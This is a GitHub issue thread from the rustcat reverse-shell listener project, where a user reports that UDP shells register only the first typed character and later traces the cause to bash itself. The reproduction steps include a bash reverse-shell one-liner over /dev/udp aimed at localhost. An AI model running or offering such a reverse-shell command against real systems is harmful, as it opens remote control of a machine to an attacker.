robiot / rustcat

Rustcat(rcat) - The modern Port listener and Reverse shell
https://git.io/rustcat
GNU General Public License v3.0
699 stars 60 forks source link

UDP shell only recognises 1st input character #23

Closed Kibouo closed 3 years ago

Kibouo commented 3 years ago

ISSUE TYPE:

OS / ENVIRONMENT:

STEPS TO REPRODUCE:

  1. (client) rc -ul localhost 1337
  2. (target) bash -c 'bash -i >& /dev/udp/localhost/1337 0>&1'
  3. (client)
    • type command & press enter
    • notice >> prompt with
      • only 1st typed character being repeated
      • command not being executed

EXPECTED BEHAVIOUR:

Normal shell behavior we all know.

ACTUAL BEHAVIOUR:

The 1st typed character is being "locked in". Meaning, to actually execute a command (e.g. pwd) one must:

  1. type 1st char (p) and enter
  2. type 2nd char (w) and enter
  3. type 3rd char (d) and enter
  4. enter to send the actual enter

image

robiot commented 3 years ago

Good report! Yeah the udp is a little bit weird at the moment. And I will try to fix it as soon as I got the time for it :)

Kibouo commented 3 years ago

Had a look at this today. It is not a problem with the implementation! Instead, it seems to be a problem with bash itself.

This SO response explains (not sourced sadly) that bash handles UDP file descriptors "wrong" by reading only 1 byte.

Testing confirms this: Ncat 7.92 as listener behaves the same as rustcat.

GNU Netcat 0.7.1 "fixes" this by silently refusing the connection. :upside_down_face: I'll just close this issue :sweat_smile: